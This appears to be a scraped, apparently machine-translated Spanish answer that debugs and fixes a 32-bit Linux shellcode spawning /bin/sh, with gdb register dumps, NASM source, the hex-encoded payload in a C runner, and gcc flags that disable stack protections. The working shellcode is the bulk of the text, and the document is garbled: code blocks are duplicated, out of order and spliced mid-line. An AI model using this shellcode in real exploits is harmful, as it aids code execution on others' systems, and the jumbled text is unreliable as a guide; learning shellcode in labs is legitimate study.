Veo múltiples problemas con tu shellcode. En primer lugar vamos a depurar su código. Compilé el código C que contiene su shellcode, lo ejecuto con gdb y paso hasta la primera llamada al sistema ( int 0x80
)
[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7
EBX: 0x5655550c (<main+35>: mov eax,0x0)
ECX: 0x0
EDX: 0x0
ESI: 0xf7f9fe24 --> 0x1d6d2c
EDI: 0xf7f9fe24 --> 0x1d6d2c
EBP: 0xffffd9d8 --> 0x0
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655701a <shellcode+2>: pop ebx
0x5655701b <shellcode+3>: xor ecx,ecx
0x5655701d <shellcode+5>: xor edx,edx
=> 0x5655701f <shellcode+7>: int 0x80
0x56557021 <shellcode+9>: mov al,0x1
0x56557023 <shellcode+11>: xor bl,bl
0x56557025 <shellcode+13>: int 0x80
0x56557027 <shellcode+15>: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
0004| 0xffffd9c4 --> 0x0
0008| 0xffffd9c8 (")UUV0pUV$617$617")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
Aquí podemos ver algunos problemas:
- El registro
EAX
no está establecido en 0xb. Esto se debe a que su código de shell no borra los valores en el registro y en su lugar solo establece el byte inferior con la instrucción mov al, 0xb
- El registro
EBX
debería apuntar al char*
con el archivo que está intentando ejecutar (generalmente es "/bin/sh"
), en su lugar, apunta a una posición de memoria aleatoria, en este caso en el main
función.
- El registro
ECX
debe apuntar a la matriz de char*
que indica el comando completo que desea ejecutar. En la mayoría de los códigos de shell que he visto, es solo ["/bin/sh", 0]
, pero es posible que desee utilizar algo diferente, como ["/path/to/binary","-argument1",..., 0]
, en este caso, debe crear esa matriz en la memoria. En su shellcode ECX
se establece en 0x0
- El registro
EDX
representa el entorno para la ejecución del binario. Puede echar un vistazo a la página execve (3) para comprender un poco más cómo se usa, pero para nuestro propósito aquí, está bien tener un valor NULL
en él
Ahora, ¿cómo podemos arreglarlo? Bueno, en primer lugar tendremos que apuntar EBX
a una cadena "/ bin / sh \ 0" en una parte de la memoria a la que podemos acceder, es decir, la pila. Y tenemos que hacer eso en nuestro shellcode. Podemos hacerlo con el siguiente gadget:
xor eax, eax //Clear the eax register so we have a null byte to end our string
push eax
push "n/sh" //The string needs to be written "backwards"
push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/shxor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax // Remember it's still 0 from our previous xor eax, eax
push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/shsection .text
global _start
_start:
jmp trampoline
shellcode:
xor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al,11
int 0x80
section .data
trampoline:
call shellcode
"
", so we need to move that pointer to ebx
Entonces necesitamos apuntar ECX
a una matriz de char*
como ["/bin/sh", 0]
. Ya tenemos una parte de ella en EBX
, así que continuando con nuestro código de shell podemos hacer lo siguiente:
char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
(*(void(*)())shellcode)();
return 0;
}
Finalmente, deberíamos establecer el registro AL
en 0xb
y hacer el syscall. Así que nuestro código de shell final debería tener este aspecto:
$ ./shellcode.o
sh-4.4$
Podemos compilarlo nasm nasm -o shellcode.bin -f elf32 -O0 shellcode.nasm
, extraer los códigos de operación y colocarlos en el código C para probarlo:
[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7
EBX: 0x5655550c (<main+35>: mov eax,0x0)
ECX: 0x0
EDX: 0x0
ESI: 0xf7f9fe24 --> 0x1d6d2c
EDI: 0xf7f9fe24 --> 0x1d6d2c
EBP: 0xffffd9d8 --> 0x0
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655701a <shellcode+2>: pop ebx
0x5655701b <shellcode+3>: xor ecx,ecx
0x5655701d <shellcode+5>: xor edx,edx
=> 0x5655701f <shellcode+7>: int 0x80
0x56557021 <shellcode+9>: mov al,0x1
0x56557023 <shellcode+11>: xor bl,bl
0x56557025 <shellcode+13>: int 0x80
0x56557027 <shellcode+15>: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
0004| 0xffffd9c4 --> 0x0
0008| 0xffffd9c8 (")UUV0pUV$617$617")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
Compílalo con tu compilador favorito, yo uso gcc gcc -o shellcode.o -fno-stack-protector -z execstack -m32 shellcode.c
. Y ejecútalo:
xor eax, eax //Clear the eax register so we have a null byte to end our string
push eax
push "n/sh" //The string needs to be written "backwards"
push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/shxor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax // Remember it's still 0 from our previous xor eax, eax
push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/shsection .text
global _start
_start:
jmp trampoline
shellcode:
xor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al,11
int 0x80
section .data
trampoline:
call shellcode
"
", so we need to move that pointer to ebx